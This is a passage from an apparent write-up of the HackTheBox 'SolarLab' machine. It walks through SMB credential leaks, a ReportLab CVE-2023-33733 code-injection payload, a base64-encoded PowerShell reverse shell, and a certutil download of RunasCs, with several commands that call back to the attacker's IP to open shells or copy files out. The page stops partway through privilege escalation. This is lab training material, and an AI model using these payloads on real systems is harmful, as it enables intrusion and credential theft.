SolarLab – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: HackTheBox

‘SolarLab’ Avatar


Summary Link to heading

SolarLab is a medium box/machine from HackTheBox platform. An anonymous login through SMB service leaks credentials for a login panel in the victim machine. In this new panel, we are allowed to generate PDF reports using ReportLab library. This library is vulnerable to CVE-2023-33733, which allows Remote Code Execution and lets us gain initial access to the target machine. Once inside, we are able to extract databases files that store passwords for one of the users in the victim machine. We can then pivot to this new user, which is allowed to read priviledged files for an Openfire service. Among these files, we have an encrypted password which we are able to decrypt for the user in this service. This decrypted password is also the password for Administrator user, gaining total control of the victim machine.


User Link to heading

Starting with Nmap scan shows multiple ports open: 80 HTTP, 135 Microsoft RPC, 139 NetBios, 445 Server Message Block (SMB) and 6791 another HTTP service:

❯ sudo nmap -sVC -p80,135,139,445,6791 10.10.11.16 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 16:00 -04
Nmap scan report for 10.10.11.16
Host is up (0.20s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-29T20:01:06
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.64 seconds

I note that even if this is a Windows machine, it is running Nginx for services exposed at ports 80 and 6791.

From Nmap scan I also can see a domain and a subdomain: solarlab.htb and report.solarlab.htb. So I add these domains to my /etc/hosts file:

❯ echo '10.10.11.16 solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts

10.10.11.16 solarlab.htb report.solarlab.htb

Visiting http://solarlab.htb shows a page about Instant Messaging

SolarLab 1

Many of the buttons in this page do not work, so I might came back to this page later.

Visiting http://report.solarlab.htb:6791 shows a login panel

SolarLab 2

Default credentials like admin:admin, root:root, guest:guest do no work. Injections do not work either. So I will also save this page for later

At this point I decide to look for info in other services such as SMB. A quick scan with NetExec shows:

❯ netexec smb 10.10.11.16

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)

After playing with some default credentials, one of them work: guest (and no password):

❯ netexec smb 10.10.11.16 -u 'guest' -p ''

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\guest:

In fact, we can see this as “any” user (i.e., anonymous), since if I pass another user like random we can still access to Documents share:

❯ netexec smb 10.10.11.16 -u 'random' -p '' --shares

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\random:
SMB         10.10.11.16     445    SOLARLAB         [*] Enumerated shares
SMB         10.10.11.16     445    SOLARLAB         Share           Permissions     Remark
SMB         10.10.11.16     445    SOLARLAB         -----           -----------     ------
SMB         10.10.11.16     445    SOLARLAB         ADMIN$                          Remote Admin
SMB         10.10.11.16     445    SOLARLAB         C$                              Default share
SMB         10.10.11.16     445    SOLARLAB         Documents       READ
SMB         10.10.11.16     445    SOLARLAB         IPC$            READ            Remote IPC

We can also use smbmap to extract files:

❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.11.16:445 Name: solarlab.htb              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Documents                                               READ ONLY
        IPC$                                                    READ ONLY       Remote IPC

And check the contents inside Documents shared resource:

❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner -r 'Documents'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.11.16:445 Name: solarlab.htb              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Documents                                               READ ONLY
        ./Documents
        dw--w--w--                0 Fri Apr 26 10:47:14 2024    .
        dw--w--w--                0 Fri Apr 26 10:47:14 2024    ..
        dr--r--r--                0 Fri Apr 26 10:41:57 2024    concepts
        fr--r--r--              278 Fri Nov 17 09:34:54 2023    desktop.ini
        fr--r--r--            12793 Fri Nov 17 09:34:54 2023    details-file.xlsx
        dr--r--r--                0 Thu Nov 16 16:36:51 2023    My Music
        dr--r--r--                0 Thu Nov 16 16:36:51 2023    My Pictures
        dr--r--r--                0 Thu Nov 16 16:36:51 2023    My Videos
        fr--r--r--            37194 Fri Apr 26 10:44:18 2024    old_leave_request_form.docx
        IPC$                                                    READ ONLY       Remote IPC

I download these files. For example, to download details-file.xlsx file, we run:

❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner --download 'Documents/details-file.xlsx'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] Starting download: Documents\details-file.xlsx (12793 bytes)
[+] File output to: /home/gunzf0x/HTB/HTBMachines/Medium/SolarLab/content/10.10.11.16-Documents_details-file.xlsx

After downloading all of them we read them. The file old_leave_request_form.docx (a Microsoft Word file) shows a Holiday Request Form:

SolarLab 3

and the file details-file.xlsx shows some interesting info:

SolarLab 4

We have found a file with plaintext passwords and usernames. We save them into a file:

❯ cat potential_user_and_passwords.txt

Alexander.knight@gmail.com:al;ksdhfewoiuh
Kalexander:dkjafblkjadsfgl
Alexander.knight@gmail.com:d398sadsknr390
blake.byte:ThisCanB3typedeasily1@
AlexanderK:danenacia9234n
ClaudiaS:dadsfawe9dafkn

I note that the users AlexanderK and ClaudiaS are present in the main webpage http://solarlab.htb:

SolarLab 5

Therefore, we might also have a user BlakeB (since we have found the user blake.byte for the person Blake Byte)

Back to http://report.solarlab.htb:6791 we can attempt to use the credentials found. As we suspected, one of them work: BlakeB:ThisCanB3typedeasily1@. Once inside the panel we can see:

Solarlab 6

Going to Training Request I can see a form. Filling it with random data, and adding as signature a random .png file:

SolarLab 7

and clicking on Generate PDF generates a random PDF file.

SolarLab 8

I save this PDF file and analyze it with exiftool:

❯ exiftool generated_pdf.pdf

ExifTool Version Number         : 12.76
File Name                       : generated_pdf.pdf
Directory                       : .
File Size                       : 272 kB
File Modification Date/Time     : 2024:05:29 18:42:35-04:00
File Access Date/Time           : 2024:05:29 18:42:35-04:00
File Inode Change Date/Time     : 2024:05:29 18:42:35-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Author                          : (anonymous)
Create Date                     : 2024:05:30 01:39:45-02:00
Creator                         : (unspecified)
Modify Date                     : 2024:05:30 01:39:45-02:00
Producer                        : ReportLab PDF Library - www.reportlab.com
Subject                         : (unspecified)
Title                           : (anonymous)
Trapped                         : False
Page Mode                       : UseNone
Page Count                      : 1

From the webpage, and also from the PDF metadata I can see something: ReportLab. Searching what is reportlab pdf we find:

Info
ReportLab is a software library that lets you directly create documents in Adobe’s Portable Document Format (PDF) using the Python programming language. PDF is the global standard for electronic documents

Searching for ReportLab exploit I can see that there is a vulnerability labeled as CVE-2023-33733 that allows Remote Code Execution (RCE). Looking for Proof of Concepts for this vulnerability I find this brew report and this Github repository. The PoC provided is:

from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []

def add_paragraph(text, content):
    """ Add paragraph to document content"""
    content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):
    """ Get SimpleDocTemplate """
    return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):
    """ Build pdf document based on elements added in `content`"""
    document.build(content, **props)



doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
#    [
#        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
#        for Word in [
#            orgTypeFun(
#                'Word',
#                (str,),
#                {
#                    'mutated': 1,
#                    'startswith': lambda self, x: False,
#                    '__eq__': lambda self, x: self.mutate()
#                    and self.mutated < 0
#                    and str(self) == x,
#                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
#                    '__hash__': lambda self: hash(str(self)),
#                },
#            )
#        ]
#    ]
#    for orgTypeFun in [type(type(1))]
#]

add_paragraph("""
            <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>""", content)
build_document(doc, content)

where we can see that the payload, in this case just a simple touch /tmp/exploited, is set.

Now, back to the site report.solarlab.htb I will try to generate again a PDF, but this time I will intercept it with Burpsuite, where we have the request:

POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------12561648027887354952763904803
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle7GA.RCZWHDxp4nba5j3_A4p8e132hy4
Upgrade-Insecure-Requests: 1

-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="time_interval"

2024-05-29 to 2024-05-30
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="training_request"

Cybersecurity Awareness
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg

<SNIP>

SolarLab 9

To test if this work I will send a ping to my machine. Start a listener with tcpdump on net interface tun0 (the one from HTB VPN)

❯ sudo tcpdump -ni tun0 icmp

and I will inject the following code:

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>

where 10.10.16.6 is my attacker IP.

Then, in the Burpsuite request, I just put the payload inside training_request parameter. So I delete the string Cybersecurity Awareness and replace that by the payload from above, so my request looks something like:

POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------407089719225311833713402929686
Content-Length: 56226
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle97Q.QtDih2IU5O3KCk4sssOHFefbMs0
Upgrade-Insecure-Requests: 1

-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="time_interval"

2024-05-29 to 2024-05-30
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="training_request"

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg

<SNIP>

Now we can send the payload

SolarLab 10

and in my tcpdump listener I get:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:45:31.010551 IP 10.10.11.16 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 40
19:45:31.010566 IP 10.10.16.6 > 10.10.11.16: ICMP echo reply, id 1, seq 1, length 40

It worked. We have reached a Remote Code Execution (RCE).

Note
Something to say is that if the payload request returns code 502 Internal Server Error it might have worked. If it returns code 302 Found it might indicate that our session has expired and we will have to log in again in the authentication panel at http://report.solarlab.htb:6791 and repeat the steps from above.

Now, to create a simple payload for Windows I will use Reverse Shell Generator page (https://www.revshells.com/). I fill it with my attacker’s IP address, and set port on 443 since this is the port I will start listening with netcat. The payload I will use now is:

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>

Start a listener with netcat, along with rlwrap, and then just send the payload with Burpsuite. In my case the payload looks like:

POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------31991831217370751261817680947
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZlfBhA.6inknZIdzhImSVvVwMCu88gANp4
Upgrade-Insecure-Requests: 1

-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="time_interval"

2024-05-29 to 2024-05-30
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="training_request"

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>

-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg

<SNIP>

SolarLab 11

and in my netcat listener I get a shell as blake user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50896
whoami
solarlab\blake
PS C:\Users\blake\Documents\app>

We can get the user flag at blake Desktop.


Root Link to heading

Checking what do we have at C:\Users\blake\Documents\app directory, we have some server files:

PS C:\Users\blake\Documents\app> dir


    Directory: C:\Users\blake\Documents\app


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/2/2024  12:30 PM                instance
d-----         5/30/2024   3:03 AM                reports
d-----        11/17/2023  10:01 AM                static
d-----        11/17/2023  10:01 AM                templates
d-----         5/30/2024   3:08 AM                __pycache__
-a----        11/17/2023   9:59 AM           1278 app.py
-a----        11/16/2023   2:17 PM            315 models.py
-a----        11/18/2023   6:59 PM           7790 routes.py
-a----          5/2/2024   6:26 PM           3352 utils.py

Checking its content with type app.py shows a Python script to run a server with Flask:

# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os

app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'c:\\users\\blake\\documents\\app\\reports'
login_manager = LoginManager(app)
login_manager.login_view = 'login'

# Import other modules with routes and configurations
from routes import *
from models import User, db
from utils import create_database

db.init_app(app)

with app.app_context():
   create_database()

# Initialize Flask-Login
@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

app.route('/')(index)
app.route('/login', methods=['GET', 'POST'])(login)
app.route('/logout')(logout)
app.route('/dashboard')(dashboard)
app.route('/leaveRequest', methods=['GET', 'POST'])(leaveRequest)
app.route('/trainingRequest', methods=['GET', 'POST'])(trainingRequest)
app.route('/homeOfficeRequest', methods=['GET', 'POST'])(homeOfficeRequest)
app.route('/travelApprovalForm', methods=['GET', 'POST'])(travelApprovalForm)

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True, threaded=True)

where I can see it is loading data from a SQLite database.

Additionally, checking models.py:

# models.py
from flask_sqlalchemy import SQLAlchemy
from flask_login import UserMixin

db = SQLAlchemy()

class User(UserMixin, db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(50), unique=True, nullable=False)
    password = db.Column(db.String(100), nullable=False)

where I can see username and password variables.

Searching for users.db, a file being called by app.py, I can see two of them:

PS C:\Users\blake\Documents\app> cmd.exe /c dir /b /s *users.db

C:\Users\blake\Documents\app\instance\users.db
C:\Users\blake\Documents\app\reports\instance\users.db

I will pass this users.db file to my attacker machine. Since SMB is running, let’s us this service. In our attacker machine we use smbserver.py from Impacket and start a shared folder/directory called smb2Folder with the credentials gunzf0x:gunzf0x123:

❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username 'gunzf0x' -password 'gunzf0x123'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
<SNIP>

In the target machine we establish a connection to our shared directory and, then, copy the file to it:

PS C:\Users\blake\Documents\app> cmd.exe /c net use \\10.10.16.6\smb2Folder /u:gunzf0x gunzf0x123

The command completed successfully.

PS C:\Users\blake\Documents\app> copy C:\Users\blake\Documents\app\instance\users.db \\10.10.16.6\smb2Folder\

Finally, just remember to “delete” this connection:

PS C:\Users\blake\Documents\app> cmd.exe /c net use /d \\10.10.16.6\smb2Folder

\\10.10.16.6\smb2Folder was deleted successfully.

Then, in our attacker machine, use SQLite along with .dump command to extract all the info:

❯ sqlite3 users.db

SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.

sqlite> .dump

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(50) NOT NULL,
        password VARCHAR(100) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'blakeb','ThisCanB3typedeasily1@');
INSERT INTO user VALUES(2,'claudias','007poiuytrewq');
INSERT INTO user VALUES(3,'alexanderk','HotP!fireguard');
COMMIT;

sqlite> select * from user;

1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard

where we have 3 users and passwords: blakeb:ThisCanB3typedeasily1@ (the one we have already found), claudias:007poiuytrewq, and alexanderk:HotP!fireguard.

However, in the target machine, if I check what users we have available (running net user), I do not see claudias or alexanderk; instead, I can only see an openfire user, so this makes me think that Openfire is running in this machine.

Info
Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance

We have seen Openfire software previously in HTB Jab machine. In short, Openfire is an instant messaging service. Since we have some passwords I will try to pivot to openfire user; if we are lucky, one of the passwords might work. To do this, I will use NetExec with SMB service. I save the found passwords in a file and, then, run in my machine:

❯ netexec smb 10.10.11.16 -u 'openfire' -p sqlite_found_passwords.txt

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [-] solarlab\openfire:ThisCanB3typedeasily1@ STATUS_LOGON_FAILURE
SMB         10.10.11.16     445    SOLARLAB         [-] solarlab\openfire:007poiuytrewq STATUS_LOGON_FAILURE
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\openfire:HotP!fireguard

So we have credentials: openfire:HotP!fireguard.

Usually Openfire runs at port 9090 and 9091, which is the case of our victim machine:

PS C:\Program Files> netstat -ano | findstr LISTENING | findstr 127.0.0.1:90

  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3084
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3084

I try to pivot to openfire user with tools like wmiexec.py from Impacket, but did not work since this is not a priviledged user:

❯ python3 /usr/share/doc/python3-impacket/examples/wmiexec.py openfire:'HotP!fireguard'@solarlab.htb "whoami"

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied

At this point we can call our good old friend RunasCs (download it from its Github repository and decompress it) to pivot to openfire user internally. Start a temporal Python HTTP server in our attacker machine:

❯ ls && python3 -m http.server 8000

RunasCs.exe

and, in the target machine, download the .exe file using certutil:

PS C:\Users\blake\Documents\app> cmd.exe /c certutil.exe -urlcache -f -split http://10.10.16.6:8000/RunasCs.exe C:\Users\blake\Downloads\runascs.exe

****  Online  ****
  0000  ...
  ca00
CertUtil: -URLCache command completed successfully.

Then, in the target machine use the -r in runascs.exe to send us a reverse shell, after starting a listener on port 443 with netcat:

PS C:\Users\blake\Documents\app> C:\Users\blake\Downloads\runascs.exe openfire 'HotP!fireguard' cmd.exe -r 10.10.16.6:443 --bypass-uac -t 10

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-86b11$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1164 created in background.

and in my netcat listener I get a shell as openfire user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50913
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
solarlab\openfire

Now, at C:\Program Files I can see a Openfire folder:

C:\>cd Program Files

cd Program Files

C:\Program Files>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 385E-AC57

 Directory of C:\Program Files

05/03/2024  02:34 PM    <DIR>          .
05/03/2024  02:34 PM    <DIR>          ..
11/16/2023  10:39 PM    <DIR>          Common Files
04/26/2024  04:39 PM    <DIR>          Internet Explorer
11/17/2023  11:04 AM    <DIR>          Java
11/16/2023  10:47 PM    <DIR>          Microsoft Update Health Tools
